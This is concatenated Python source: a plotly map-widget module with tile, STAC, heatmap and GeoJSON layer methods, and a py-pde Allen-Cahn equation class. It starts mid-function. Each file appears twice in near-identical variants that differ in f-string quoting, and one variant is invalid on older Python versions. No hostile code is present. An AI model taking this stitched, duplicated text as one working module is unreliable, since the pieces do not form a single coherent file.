import json import geopandas as gpd gdf = gpd.read_file(data).to_crs(epsg=4326) geojson = json.loads(gdf.to_json()) self.add_choroplethmapbox( geojson=geojson, locations=gdf.index, z=gdf[z], name=name, colorscale=colorscale, **kwargs, ) def add_scatter_plot_demo(self, **kwargs): """Adds a scatter plot to the map.""" lons = np.random.random(1000) * 360.0 lats = np.random.random(1000) * 180.0 - 90.0 z = np.random.random(1000) * 50.0 self.add_scattermapbox( lon=lons, lat=lats, marker={"color": z}, name="Random points", **kwargs ) def add_heatmap( self, data, latitude="latitude", longitude="longitude", z="value", radius=10, colorscale=None, name="Heat map", **kwargs, ): """Adds a heat map to the map. Reference: https://plotly.com/python/mapbox-density-heatmaps Args: data (str | pd.DataFrame): File path or HTTP URL to the input file or a . For example, https://raw.githubusercontent.com/plotly/datasets/master/earthquakes-23k.csv latitude (str, optional): The column name of latitude. Defaults to "latitude". longitude (str, optional): The column name of longitude. Defaults to "longitude". z (str, optional): The column name of z values. Defaults to "value". radius (int, optional): Radius of each “point” of the heatmap. Defaults to 25. colorscale (str, optional): Color scale of the data, e.g., Viridis. See https://plotly.com/python/builtin-colorscales. Defaults to None. name (str, optional): Layer name to use. Defaults to "Heat map". """ if isinstance(data, str): df = pd.read_csv(data) elif isinstance(data, pd.DataFrame): df = data else: raise ValueError("data must be a DataFrame or a file path.") heatmap = go.Densitymapbox( lat=df[latitude], lon=df[longitude], z=df[z], radius=radius, colorscale=colorscale, name=name, **kwargs, ) self.add_trace(heatmap) def add_heatmap_demo(self, **kwargs): """Adds a heatmap to the map.""" quakes = pd.read_csv( "https://raw.githubusercontent.com/plotly/datasets/master/earthquakes-23k.csv" ) heatmap = go.Densitymapbox( lat=quakes.Latitude, lon=quakes.Longitude, z=quakes.Magnitude, radius=10, name="Earthquake", **kwargs, ) self.add_basemap("Stamen.Terrain") self.add_trace(heatmap) def add_gdf_demo( self, gdf, label_col, color_col, color_continuous_scale="Viridis", **kwargs, ): check_package("geopandas", "https://geopandas.org") import geopandas as gpd geojson_url = str(gdf) if isinstance(gdf, str): gdf = gpd.read_file(gdf).to_crs(epsg=4326) fig = go.Choroplethmapbox( geojson=geojson_url, featureidkey="properties.{}".format(label_col), locations=gdf[label_col], z=gdf[color_col], autocolorscale=False, colorscale=color_continuous_scale, marker_line_color="peachpuff", colorbar=dict( title={"text": "Legend"}, thickness=15, len=0.35, bgcolor="rgba(255,255,255,0.6)", xanchor="left", x=0.02, yanchor="bottom", y=0.05, ), ) self.add_trace(fig) def add_gdf( self, gdf, label_col=None, color_col=None, labels=None, opacity=1.0, zoom=None, color_continuous_scale="Viridis", **kwargs, ): """Adds a GeoDataFrame to the map. Args: gdf (GeoDataFrame): A GeoDataFrame. label_col (str, optional): The column name of locations. Defaults to None. color_col (str, optional): The column name of color. Defaults to None. """ check_package("geopandas", "https://geopandas.org") import geopandas as gpd if isinstance(gdf, str): gdf = gpd.read_file(gdf) if not isinstance(gdf, gpd.GeoDataFrame): raise ValueError("gdf must be a GeoDataFrame.") gdf = gdf.to_crs(epsg=4326) # geom_type = gdf_geom_type(gdf) center_lon, center_lat = gdf_centroid(gdf) if isinstance(label_col, str): gdf = gdf.set_index(label_col) if label_col == color_col: gdf[label_col] = gdf.index label_col = gdf.index elif label_col is None: label_col = gdf.index if isinstance(color_col, str): if color_col not in gdf.columns: raise ValueError( f"color must be a column name in the GeoDataFrame. Can be one of {",".join(gdf.columns)} " ) fig = px.choropleth_mapbox( gdf, geojson=gdf.geometry, locations=label_col, color=color_col, color_continuous_scale=color_continuous_scale, opacity=opacity, labels=labels, # mapbox_style="carto-positron", **kwargs, ) self.add_traces(fig.data) self.set_center(center_lat, center_lon, zoom) def add_geojson_layer(self, geojson_in, name, color="blue", opacity=1): """Prepare proper and give style for different type of Geometry Args: in_geojson (str | dict): The file path or http URL to the input GeoJSON or a dictionary containing the geojson. name (str): Name for the Layer color (str, optional): Plain name for color (e.g: blue) or color code (e.g: #FF0000) opacity(float, optional): opacity of the layer in Map """ import json import requests if isinstance(geojson_in, dict): data = geojson_in elif geojson_in.startswith("http"): data = requests.get(geojson_in).json() elif geojson_in.lower().endswith((".json", ".geojson")): with open(geojson_in) as fp: data = json.load(fp) else: data = geojson_in """ Only Checking Geometry of first feature( todo : handle multiple type of Geometry in same geojson ) """ first_feature = data["features"][0] geometry_type = first_feature["geometry"]["type"] if geometry_type.lower() in ["polygon", "multipolygon"]: type = "fill" elif geometry_type.lower() in ["linstring", "multilinestring"]: type = "line" elif geometry_type.lower() in ["point", "multipoint"]: type = "circle" else: type = "fill" self.add_geojson(data, name, type, color, opacity) def add_geojson(self, data, name, type, color, opacity): """Add layers to the Map Args: data (dict): Geojson in Dict form name (str): Name for the Layer color (str, optional): Plain name for color (e.g: blue) or color code (e.g: #FF0000) opacity(float, optional): opacity of the layer in Map """ new_layer = { "source": data, "name": name, "type": type, "opacity": opacity, "color": color, } if type == "circle": new_layer["circle"] = {"radius": 5} existing_layers = list(self.layout.mapbox.layers) existing_layers.append(new_layer) self.update_layout(mapbox={"layers": tuple(existing_layers)}) def fix_widget_error(): """ Fix FigureWidget - 'mapbox._derived' Value Error. Adopted from: https://github.com/plotly/plotly.py/issues/2570#issuecomment-738735816 """ import shutil import pkg_resources pkg_dir = os.path.dirname(pkg_resources.resource_filename("plotly", "plotly.py")) basedatatypesPath = os.path.join(pkg_dir, "basedatatypes.py") backup_file = basedatatypesPath.replace(".py", "_bk.py") shutil.copyfile(basedatatypesPath, backup_file) # read basedatatypes.py with open(basedatatypesPath, "r") as f: lines = f.read() find = "if not BaseFigure._is_key_path_compatible(key_path_str, self.layout):" replace = """if not BaseFigure._is_key_path_compatible(key_path_str, self.layout): if key_path_str == "mapbox._derived": return""" # add new text lines = lines.replace(find, replace) # overwrite old 'basedatatypes.py' with open(basedatatypesPath, "w") as f: f.write(lines)
import os import numpy as np import pandas as pd import ipywidgets as widgets from .basemaps import xyz_to_plotly from .common import * from .osm import * from . import examples try: import plotly.express as px import plotly.graph_objects as go except ImportError: raise ImportError( "This module requires the plotly package. Please install it using 'pip install plotly'." ) basemaps = xyz_to_plotly() class Canvas: """The widgets.HBox containing the map and a toolbar.""" def __init__( self, map, map_min_width="90%", map_max_width="98%", map_refresh=False, **kwargs, ): """Initialize the Canvas. Args: map (go.FigureWidget): The map to display. map_min_width (str, optional): The minimum width of the map. Defaults to '90%'. map_max_width (str, optional): The maximum width of the map. Defaults to '98%'. map_refresh (bool, optional): Whether to refresh the map when the map is resized. Defaults to False. """ from .toolbar import plotly_toolbar map_widget = widgets.Output(layout=widgets.Layout(width=map_max_width)) with map_widget: display(map) self.map = map self.map_min_width = map_min_width self.map_max_width = map_max_width self.map_refresh = map_refresh self.map_widget = map_widget container_widget = widgets.VBox() self.container_widget = container_widget toolbar_widget = plotly_toolbar(self) sidebar_widget = widgets.VBox([toolbar_widget, container_widget]) canvas = widgets.HBox([map_widget, sidebar_widget]) self.canvas = canvas self.toolbar_widget = toolbar_widget def toolbar_reset(self): """Reset the toolbar so that no tool is selected.""" if hasattr(self, "toolbar"): toolbar_grid = self.toolbar for tool in toolbar_grid.children: tool.value = False class Map(go.FigureWidget): """The Map class inherits the Plotly FigureWidget class. More info at https://plotly.com/python/figurewidget.""" def __init__( self, center=(20, 0), zoom=1, basemap="open-street-map", height=600, **kwargs ): """Initializes a map. More info at https://plotly.com/python/mapbox-layers/ Args: center (tuple, optional): Center of the map. Defaults to (20, 0). zoom (int, optional): Zoom level of the map. Defaults to 1. basemap (str, optional): Can be one of string from "open-street-map", "carto-positron", "carto-darkmatter", "stamen-terrain", "stamen-toner" or "stamen-watercolor" . Defaults to 'open-street-map'. height (int, optional): Height of the map. Defaults to 600. """ super().__init__(**kwargs) self.add_scattermapbox() self.update_layout( { "mapbox": { "style": basemap, "center": {"lat": center[0], "lon": center[1]}, "zoom": zoom, }, "margin": {"r": 0, "t": 0, "l": 0, "b": 0}, "height": height, } ) def show( self, toolbar=True, map_min_width="91%", map_max_width="98%", refresh=False, **kwargs, ): """Shows the map. Args: toolbar (bool, optional): Whether to show the toolbar. Defaults to True. map_min_width (str, optional): The minimum width of the map. Defaults to '91%'. map_max_width (str, optional): The maximum width of the map. Defaults to '98%'. refresh (bool, optional): Whether to refresh the map when the map is resized. Defaults to False. Returns: Canvas: Map canvas. """ if not toolbar: super().show(**kwargs) else: canvas = Canvas( self, map_min_width=map_min_width, map_max_width=map_max_width, map_refresh=refresh, ) return canvas.canvas def clear_controls(self): """Removes all controls from the map.""" config = { "scrollZoom": True, "displayModeBar": False, "editable": True, "showLink": False, "displaylogo": False, } self.show(toolbar=False, config=config) def add_controls(self, controls): """Adds controls to the map. Args: controls (list): List of controls to add, e.g., ['drawline', 'drawopenpath', 'drawclosedpath', 'drawcircle', 'drawrect', 'eraseshape'] See https://bit.ly/33Tmqxr """ if isinstance(controls, str): controls = [controls] elif not isinstance(controls, list): raise ValueError( "Controls must be a string or a list of strings. See https://bit.ly/33Tmqxr" ) self.update_layout(modebar_add=controls) def remove_controls(self, controls): """Removes controls to the map. Args: controls (list): List of controls to remove, e.g., ["zoomin", "zoomout", "toimage", "pan", "resetview"]. See https://bit.ly/3Jk7wkb """ if isinstance(controls, str): controls = [controls] elif not isinstance(controls, list): raise ValueError( "Controls must be a string or a list of strings. See https://bit.ly/3Jk7wkb" ) self.update_layout(modebar_remove=controls) def set_center(self, lat, lon, zoom=None): """Sets the center of the map. Args: lat (float): Latitude. lon (float): Longitude. zoom (int, optional): Zoom level of the map. Defaults to None. """ self.update_layout( mapbox=dict( center=dict(lat=lat, lon=lon), zoom=zoom if zoom is not None else self.layout.mapbox.zoom, ) ) def add_basemap(self, basemap="ROADMAP"): """Adds a basemap to the map. Args: basemap (str, optional): Can be one of string from basemaps. Defaults to 'ROADMAP'. """ if basemap not in basemaps: raise ValueError( f"Basemap {basemap} not found. Choose from {','.join(basemaps.keys())}" ) if basemap in self.get_tile_layers(): self.remove_basemap(basemap) layers = list(self.layout.mapbox.layers) + [basemaps[basemap]] self.update_layout(mapbox_layers=layers) def remove_basemap(self, name): """Removes a basemap from the map. Args: name (str): Name of the basemap to remove. """ layers = list(self.layout.mapbox.layers) layers = [layer for layer in layers if layer["name"] != name] self.layout.mapbox.layers = layers def add_mapbox_layer(self, style, access_token=None): """Adds a mapbox layer to the map. Args: layer (str | dict): Layer to add. Can be "basic", "streets", "outdoors", "light", "dark", "satellite", or "satellite-streets". See https://plotly.com/python/mapbox-layers/ and https://docs.mapbox.com/mapbox-gl-js/style-spec/ access_token (str, optional): The Mapbox Access token. It can be set as an environment variable "MAPBOX_TOKEN". Defaults to None. """ if access_token is None: access_token = os.environ.get("MAPBOX_TOKEN") self.update_layout( mapbox_style=style, mapbox_layers=[], mapbox_accesstoken=access_token ) def add_layer(self, layer, name=None, **kwargs): """Adds a layer to the map. Args: layer (plotly.graph_objects): Layer to add. name (str, optional): Name of the layer. Defaults to None. """ if isinstance(name, str): layer.name = name self.add_trace(layer, **kwargs) def remove_layer(self, name): """Removes a layer from the map. Args: name (str): Name of the layer to remove. """ if name in self.get_data_layers(): self.data = [layer for layer in self.data if layer.name != name] elif name in self.get_tile_layers(): self.layout.mapbox.layers = [ layer for layer in self.layout.mapbox.layers if layer["name"] != name ] def clear_layers(self, clear_basemap=False): """Clears all layers from the map. Args: clear_basemap (bool, optional): If True, clears the basemap. Defaults to False. """ if clear_basemap: self.data = [] else: if len(self.data) > 1: self.data = self.data[:1] def get_layers(self): """Returns a dictionary of all layers in the map. Returns: dict: A dictionary of all layers in the map. """ layers = {} for layer in self.layout.mapbox.layers: if layer["name"] is not None: layers[layer["name"]] = layer for layer in self.data: if layer.name is not None and layer.name != "trace 0": layers[layer.name] = layer return layers def get_tile_layers(self): """Returns a dictionary of tile layers in the map. Returns: dict: A dictionary of tile layers in the map. """ layers = {} for layer in self.layout.mapbox.layers: if layer["name"] is not None: layers[layer["name"]] = layer return layers def get_data_layers(self): """Returns a dictionary of data layers in the map. Returns: dict: A dictionary of data layers in the map. """ layers = {} for layer in self.data: if layer.name is not None and layer.name != "trace 0": layers[layer.name] = layer return layers def find_layer_index(self, name): """Finds the index of a layer. Args: name (str): Name of the layer to find. Returns: int: Index of the layer. """ for i, layer in enumerate(self.data): if layer.name == name: return i for i, layer in enumerate(self.layout.mapbox.layers): if layer["name"] == name: return i return None def set_layer_visibility(self, name, show=True): """Sets the visibility of a layer. Args: name (str): Name of the layer to set. show (bool, optional): If True, shows the layer. Defaults to True. """ if name in self.get_tile_layers(): index = self.find_layer_index(name) self.layout.mapbox.layers[index].visible = show elif name in self.get_data_layers(): index = self.find_layer_index(name) self.data[index].visible = show else: print(f"Layer {name} not found.") def set_layer_opacity(self, name, opacity=1): """Sets the visibility of a layer. Args: name (str): Name of the layer to set. opacity (float, optional): Opacity of the layer. Defaults to 1. """ if name in self.get_tile_layers(): index = self.find_layer_index(name) self.layout.mapbox.layers[index].opacity = opacity elif name in self.get_data_layers(): index = self.find_layer_index(name) layer = self.data[index] if hasattr(layer, "opacity"): layer.opacity = opacity elif hasattr(layer, "marker"): layer.marker.opacity = opacity else: print(f"Layer {name} not found.") def add_tile_layer( self, url, name="TileLayer", attribution="", opacity=1.0, **kwargs, ): """Adds a TileLayer to the map. Args: url (str): The URL of the tile layer. name (str, optional): Name of the layer. Defaults to 'TileLayer'. attribution (str): The attribution to use. Defaults to "". opacity (float, optional): The opacity of the layer. Defaults to 1. """ layer = { "below": "traces", "sourcetype": "raster", "sourceattribution": attribution, "source": [url], "opacity": opacity, "name": name, } layers = list(self.layout.mapbox.layers) + [layer] self.update_layout(mapbox_layers=layers) def add_cog_layer( self, url, name="Untitled", attribution="", opacity=1.0, bands=None, titiler_endpoint="https://titiler.xyz", **kwargs, ): """Adds a COG TileLayer to the map. Args: url (str): The URL of the COG tile layer, e.g., 'https://opendata.digitalglobe.com/events/california-fire-2020/pre-event/2018-02-16/pine-gulch-fire20/1030010076004E00.tif' name (str, optional): The layer name to use for the layer. Defaults to 'Untitled'. attribution (str, optional): The attribution to use. Defaults to ''. opacity (float, optional): The opacity of the layer. Defaults to 1. bands (list, optional): The bands to use. Defaults to None. titiler_endpoint (str, optional): Titiler endpoint. Defaults to "https://titiler.xyz". **kwargs: Arbitrary keyword arguments, including bidx, expression, nodata, unscale, resampling, rescale, color_formula, colormap, colormap_name, return_mask. See https://developmentseed.org/titiler/endpoints/cog/ and https://cogeotiff.github.io/rio-tiler/colormap/. To select a certain bands, use bidx=[1, 2, 3] """ tile_url = cog_tile(url, bands, titiler_endpoint, **kwargs) center = cog_center(url, titiler_endpoint) # (lon, lat) self.add_tile_layer(tile_url, name, attribution, opacity) self.set_center(lon=center[0], lat=center[1], zoom=10) def add_stac_layer( self, url=None, collection=None, item=None, assets=None, bands=None, titiler_endpoint=None, name="STAC Layer", attribution="", opacity=1.0, **kwargs, ): """Adds a STAC TileLayer to the map. Args: url (str): HTTP URL to a STAC item, e.g., https://canada-spot-ortho.s3.amazonaws.com/canada_spot_orthoimages/canada_spot5_orthoimages/S5_2007/S5_11055_6057_20070622/S5_11055_6057_20070622.json collection (str): The Microsoft Planetary Computer STAC collection ID, e.g., landsat-8-c2-l2. items (str): The Microsoft Planetary Computer STAC item ID, e.g., LC08_L2SP_047027_20201204_02_T1. assets (str | list): The Microsoft Planetary Computer STAC asset ID, e.g., ["SR_B7", "SR_B5", "SR_B4"]. bands (list): A list of band names, e.g., ["SR_B7", "SR_B5", "SR_B4"] titiler_endpoint (str, optional): Titiler endpoint, e.g., "https://titiler.xyz", "planetary-computer", "pc". Defaults to None. name (str, optional): The layer name to use for the layer. Defaults to 'STAC Layer'. attribution (str, optional): The attribution to use. Defaults to ''. opacity (float, optional): The opacity of the layer. Defaults to 1. """ tile_url = stac_tile( url, collection, item, assets, bands, titiler_endpoint, **kwargs ) center = stac_center(url, collection, item, titiler_endpoint) self.add_tile_layer(tile_url, name, attribution, opacity) self.set_center(lon=center[0], lat=center[1], zoom=10) def add_mosaic_layer( self, url, titiler_endpoint=None, name="Mosaic Layer", attribution="", opacity=1.0, **kwargs, ): """Adds a STAC TileLayer to the map. Args: url (str): HTTP URL to a MosaicJSON. titiler_endpoint (str, optional): Titiler endpoint, e.g., "https://titiler.xyz". Defaults to None. name (str, optional): The layer name to use for the layer. Defaults to 'Mosaic Layer'. attribution (str, optional): The attribution to use. Defaults to ''. opacity (float, optional): The opacity of the layer. Defaults to 1. """ tile_url = mosaic_tile(url, titiler_endpoint, **kwargs) center = mosaic_info(url, titiler_endpoint)["center"] self.add_tile_layer(tile_url, name, attribution, opacity) self.set_center(lon=center[0], lat=center[1], zoom=10) def add_planet_by_month( self, year=2016, month=1, api_key=None, token_name="PLANET_API_KEY", name=None, attribution="", opacity=1.0, ): """Adds Planet global mosaic by month to the map. To get a Planet API key, see https://developers.planet.com/quickstart/apis/ Args: year (int, optional): The year of Planet global mosaic, must be >=2016. Defaults to 2016. month (int, optional): The month of Planet global mosaic, must be 1-12. Defaults to 1. api_key (str, optional): The Planet API key. Defaults to None. token_name (str, optional): The environment variable name of the API key. Defaults to "PLANET_API_KEY". name (str, optional): Name of the layer. Defaults to 'TileLayer'. attribution (str): The attribution to use. Defaults to "". opacity (float, optional): The opacity of the layer. Defaults to 1. """ if name is None: name = str(year) + "-" + str(month).zfill(2) tile_url = planet_by_month(year, month, api_key, token_name) self.add_tile_layer( tile_url, name=name, attribution=attribution, opacity=opacity ) def add_planet_by_quarter( self, year=2016, quarter=1, api_key=None, token_name="PLANET_API_KEY", name=None, attribution="", opacity=1.0, ): """Adds Planet global mosaic by month to the map. To get a Planet API key, see https://developers.planet.com/quickstart/apis/ Args: year (int, optional): The year of Planet global mosaic, must be >=2016. Defaults to 2016. quarter (int, optional): The quarter of Planet global mosaic, must be 1-4. Defaults to 1. api_key (str, optional): The Planet API key. Defaults to None. token_name (str, optional): The environment variable name of the API key. Defaults to "PLANET_API_KEY". name (str, optional): Name of the layer. Defaults to 'TileLayer'. attribution (str): The attribution to use. Defaults to "". opacity (float, optional): The opacity of the layer. Defaults to 1. """ if name is None: name = str(year) + "-" + "q" + str(quarter) tile_url = planet_by_quarter(year, quarter, api_key, token_name) self.add_tile_layer( tile_url, name=name, attribution=attribution, opacity=opacity ) def save(self, file, format=None, width=None, height=None, scale=None, **kwargs): """Convert a map to a static image and write it to a file or writeable object Args: file (str): A string representing a local file path or a writeable object (e.g. a pathlib.Path object or an open file descriptor) format (str, optional): The desired image format. One of png, jpg, jpeg, webp, svg, pdf, eps. Defaults to None. width (int, optional): The width of the exported image in layout pixels. If the `scale` property is 1.0, this will also be the width of the exported image in physical pixels.. Defaults to None. height (int, optional): The height of the exported image in layout pixels. If the `scale` property is 1.0, this will also be the height of the exported image in physical pixels.. Defaults to None. scale (int, optional): The scale factor to use when exporting the figure. A scale factor larger than 1.0 will increase the image resolution with respect to the figure's layout pixel dimensions. Whereas as scale factor of less than 1.0 will decrease the image resolution.. Defaults to None. """ self.write_image( file, format=format, width=width, height=height, scale=scale, **kwargs ) def add_choropleth_map( self, data, name=None, z=None, colorscale="Viridis", **kwargs ): """Adds a choropleth map to the map. Args: data (str): File path to vector data, e.g., https://raw.githubusercontent.com/giswqs/leafmap/master/examples/data/countries.geojson name (str, optional): Name of the layer. Defaults to None. z (str, optional): Z value of the data. Defaults to None. colorscale (str, optional): Color scale of the data. Defaults to "Viridis". """ check_package("geopandas") import json import geopandas as gpd gdf = gpd.read_file(data).to_crs(epsg=4326) geojson = json.loads(gdf.to_json()) self.add_choroplethmapbox( geojson=geojson, locations=gdf.index, z=gdf[z], name=name, colorscale=colorscale, **kwargs, ) def add_scatter_plot_demo(self, **kwargs): """Adds a scatter plot to the map.""" lons = np.random.random(1000) * 360.0 lats = np.random.random(1000) * 180.0 - 90.0 z = np.random.random(1000) * 50.0 self.add_scattermapbox( lon=lons, lat=lats, marker={"color": z}, name="Random points", **kwargs ) def add_heatmap( self, data, latitude="latitude", longitude="longitude", z="value", radius=10, colorscale=None, name="Heat map", **kwargs, ): """Adds a heat map to the map. Reference: https://plotly.com/python/mapbox-density-heatmaps Args: data (str | pd.DataFrame): File path or HTTP URL to the input file or a . For example, https://raw.githubusercontent.com/plotly/datasets/master/earthquakes-23k.csv latitude (str, optional): The column name of latitude. Defaults to "latitude". longitude (str, optional): The column name of longitude. Defaults to "longitude". z (str, optional): The column name of z values. Defaults to "value". radius (int, optional): Radius of each “point” of the heatmap. Defaults to 25. colorscale (str, optional): Color scale of the data, e.g., Viridis. See https://plotly.com/python/builtin-colorscales. Defaults to None. name (str, optional): Layer name to use. Defaults to "Heat map". """ if isinstance(data, str): df = pd.read_csv(data) elif isinstance(data, pd.DataFrame): df = data else: raise ValueError("data must be a DataFrame or a file path.") heatmap = go.Densitymapbox( lat=df[latitude], lon=df[longitude], z=df[z], radius=radius, colorscale=colorscale, name=name, **kwargs, ) self.add_trace(heatmap) def add_heatmap_demo(self, **kwargs): """Adds a heatmap to the map.""" quakes = pd.read_csv( "https://raw.githubusercontent.com/plotly/datasets/master/earthquakes-23k.csv" ) heatmap = go.Densitymapbox( lat=quakes.Latitude, lon=quakes.Longitude, z=quakes.Magnitude, radius=10, name="Earthquake", **kwargs, ) self.add_basemap("Stamen.Terrain") self.add_trace(heatmap) def add_gdf_demo( self, gdf, label_col, color_col, color_continuous_scale="Viridis", **kwargs, ): check_package("geopandas", "https://geopandas.org") import geopandas as gpd geojson_url = str(gdf) if isinstance(gdf, str): gdf = gpd.read_file(gdf).to_crs(epsg=4326) fig = go.Choroplethmapbox( geojson=geojson_url, featureidkey="properties.{}".format(label_col), locations=gdf[label_col], z=gdf[color_col], autocolorscale=False, colorscale=color_continuous_scale, marker_line_color="peachpuff", colorbar=dict( title={"text": "Legend"}, thickness=15, len=0.35, bgcolor="rgba(255,255,255,0.6)", xanchor="left", x=0.02, yanchor="bottom", y=0.05, ), ) self.add_trace(fig) def add_gdf( self, gdf, label_col=None, color_col=None, labels=None, opacity=1.0, zoom=None, color_continuous_scale="Viridis", **kwargs, ): """Adds a GeoDataFrame to the map. Args: gdf (GeoDataFrame): A GeoDataFrame. label_col (str, optional): The column name of locations. Defaults to None. color_col (str, optional): The column name of color. Defaults to None. """ check_package("geopandas", "https://geopandas.org") import geopandas as gpd if isinstance(gdf, str): gdf = gpd.read_file(gdf) if not isinstance(gdf, gpd.GeoDataFrame): raise ValueError("gdf must be a GeoDataFrame.") gdf = gdf.to_crs(epsg=4326) # geom_type = gdf_geom_type(gdf) center_lon, center_lat = gdf_centroid(gdf) if isinstance(label_col, str): gdf = gdf.set_index(label_col) if label_col == color_col: gdf[label_col] = gdf.index label_col = gdf.index elif label_col is None: label_col = gdf.index if isinstance(color_col, str): if color_col not in gdf.columns: raise ValueError( f"color must be a column name in the GeoDataFrame. Can be one of {','.join(gdf.columns)} " ) fig = px.choropleth_mapbox( gdf, geojson=gdf.geometry, locations=label_col, color=color_col, color_continuous_scale=color_continuous_scale, opacity=opacity, labels=labels, # mapbox_style="carto-positron", **kwargs, ) self.add_traces(fig.data) self.set_center(center_lat, center_lon, zoom) def add_geojson_layer(self, geojson_in, name, color="blue", opacity=1): """Prepare proper and give style for different type of Geometry Args: in_geojson (str | dict): The file path or http URL to the input GeoJSON or a dictionary containing the geojson. name (str): Name for the Layer color (str, optional): Plain name for color (e.g: blue) or color code (e.g: #FF0000) opacity(float, optional): opacity of the layer in Map """ import json import requests if isinstance(geojson_in, dict): data = geojson_in elif geojson_in.startswith("http"): data = requests.get(geojson_in).json() elif geojson_in.lower().endswith((".json", ".geojson")): with open(geojson_in) as fp: data = json.load(fp) else: data = geojson_in """ Only Checking Geometry of first feature( todo : handle multiple type of Geometry in same geojson ) """ first_feature = data["features"][0] geometry_type = first_feature["geometry"]["type"] if geometry_type.lower() in ["polygon", "multipolygon"]: type = "fill" elif geometry_type.lower() in ["linstring", "multilinestring"]: type = "line" elif geometry_type.lower() in ["point", "multipoint"]: type = "circle" else: type = "fill" self.add_geojson(data, name, type, color, opacity) def add_geojson(self, data, name, type, color, opacity): """Add layers to the Map Args: data (dict): Geojson in Dict form name (str): Name for the Layer color (str, optional): Plain name for color (e.g: blue) or color code (e.g: #FF0000) opacity(float, optional): opacity of the layer in Map """ new_layer = { "source": data, "name": name, "type": type, "opacity": opacity, "color": color, } if type == "circle": new_layer["circle"] = {"radius": 5} existing_layers = list(self.layout.mapbox.layers) existing_layers.append(new_layer) self.update_layout(mapbox={"layers": tuple(existing_layers)}) def fix_widget_error(): """ Fix FigureWidget - 'mapbox._derived' Value Error. Adopted from: https://github.com/plotly/plotly.py/issues/2570#issuecomment-738735816 """ import shutil import pkg_resources pkg_dir = os.path.dirname(pkg_resources.resource_filename("plotly", "plotly.py")) basedatatypesPath = os.path.join(pkg_dir, "basedatatypes.py") backup_file = basedatatypesPath.replace(".py", "_bk.py") shutil.copyfile(basedatatypesPath, backup_file) # read basedatatypes.py with open(basedatatypesPath, "r") as f: lines = f.read() find = "if not BaseFigure._is_key_path_compatible(key_path_str, self.layout):" replace = """if not BaseFigure._is_key_path_compatible(key_path_str, self.layout): if key_path_str == "mapbox._derived": return""" # add new text lines = lines.replace(find, replace) # overwrite old 'basedatatypes.py' with open(basedatatypesPath, "w") as f: f.write(lines)
""" A Allen-Cahn equation .. codeauthor:: David Zwicker <david.zwicker@ds.mpg.de> """ from typing import Callable # @UnusedImport import numpy as np from ..fields import ScalarField from ..grids.boundaries.axes import BoundariesData from ..tools.docstrings import fill_in_docstring from ..tools.numba import jit, nb from .base import PDEBase, expr_prod class AllenCahnPDE(PDEBase): r"""A simple Allen-Cahn equation The mathematical definition is .. math:: \partial_t c = \gamma \nabla^2 c - c^3 + c where :math:`c` is a scalar field and :math:`\gamma` sets the interfacial width. """ explicit_time_dependence = False @fill_in_docstring def __init__(self, interface_width: float = 1, bc: BoundariesData = "natural"): """ Args: interface_width (float): The diffusivity of the described species bc: The boundary conditions applied to the field. {ARG_BOUNDARIES} """ super().__init__() self.interface_width = interface_width self.bc = bc @property def expression(self) -> str: """ str: the expression of the right hand side of this PDE """ return f"{expr_prod(self.interface_width, "laplace(c)")} - c**3 + c" def evolution_rate( # type: ignore self, state: ScalarField, t: float = 0, ) -> ScalarField: """evaluate the right hand side of the PDE Args: state (:class:`~pde.fields.ScalarField`): The scalar field describing the concentration distribution t (float): The current time point Returns: :class:`~pde.fields.ScalarField`: Scalar field describing the evolution rate of the PDE """ assert isinstance(state, ScalarField) laplace = state.laplace(bc=self.bc, label="evolution rate") return self.interface_width * laplace - state ** 3 + state # type: ignore def _make_pde_rhs_numba(self, state: ScalarField) -> Callable: # type: ignore """create a compiled function evaluating the right hand side of the PDE Args: state (:class:`~pde.fields.ScalarField`): An example for the state defining the grid and data types Returns: A function with signature `(state_data, t)`, which can be called with an instance of :class:`numpy.ndarray` of the state data and the time to obtained an instance of :class:`numpy.ndarray` giving the evolution rate. """ shape = state.grid.shape arr_type = nb.typeof(np.empty(shape, dtype=state.data.dtype)) signature = arr_type(arr_type, nb.double) interface_width = self.interface_width laplace = state.grid.get_operator("laplace", bc=self.bc) @jit(signature) def pde_rhs(state_data: np.ndarray, t: float): """ compiled helper function evaluating right hand side """ return interface_width * laplace(state_data) - state_data ** 3 + state_data return pde_rhs # type: ignore
""" A Allen-Cahn equation .. codeauthor:: David Zwicker <david.zwicker@ds.mpg.de> """ from typing import Callable # @UnusedImport import numpy as np from ..fields import ScalarField from ..grids.boundaries.axes import BoundariesData from ..tools.docstrings import fill_in_docstring from ..tools.numba import jit, nb from .base import PDEBase, expr_prod class AllenCahnPDE(PDEBase): r"""A simple Allen-Cahn equation The mathematical definition is .. math:: \partial_t c = \gamma \nabla^2 c - c^3 + c where :math:`c` is a scalar field and :math:`\gamma` sets the interfacial width. """ explicit_time_dependence = False @fill_in_docstring def __init__(self, interface_width: float = 1, bc: BoundariesData = "natural"): """ Args: interface_width (float): The diffusivity of the described species bc: The boundary conditions applied to the field. {ARG_BOUNDARIES} """ super().__init__() self.interface_width = interface_width self.bc = bc @property def expression(self) -> str: """ str: the expression of the right hand side of this PDE """ return f"{expr_prod(self.interface_width, 'laplace(c)')} - c**3 + c" def evolution_rate( # type: ignore self, state: ScalarField, t: float = 0, ) -> ScalarField: """evaluate the right hand side of the PDE Args: state (:class:`~pde.fields.ScalarField`): The scalar field describing the concentration distribution t (float): The current time point Returns: :class:`~pde.fields.ScalarField`: Scalar field describing the evolution rate of the PDE """ assert isinstance(state, ScalarField) laplace = state.laplace(bc=self.bc, label="evolution rate") return self.interface_width * laplace - state ** 3 + state # type: ignore def _make_pde_rhs_numba(self, state: ScalarField) -> Callable: # type: ignore """create a compiled function evaluating the right hand side of the PDE Args: state (:class:`~pde.fields.ScalarField`): An example for the state defining the grid and data types Returns: A function with signature `(state_data, t)`, which can be called with an instance of :class:`numpy.ndarray` of the state data and the time to obtained an instance of :class:`numpy.ndarray` giving the evolution rate. """ shape = state.grid.shape arr_type = nb.typeof(np.empty(shape, dtype=state.data.dtype)) signature = arr_type(arr_type, nb.double) interface_width = self.interface_width laplace = state.grid.get_operator("laplace", bc=self.bc) @jit(signature) def pde_rhs(state_data: np.ndarray, t: float): """ compiled helper function evaluating right hand side """ return interface_width * laplace(state_data) - state_data ** 3 + state_data return pde_rhs # type: ignore
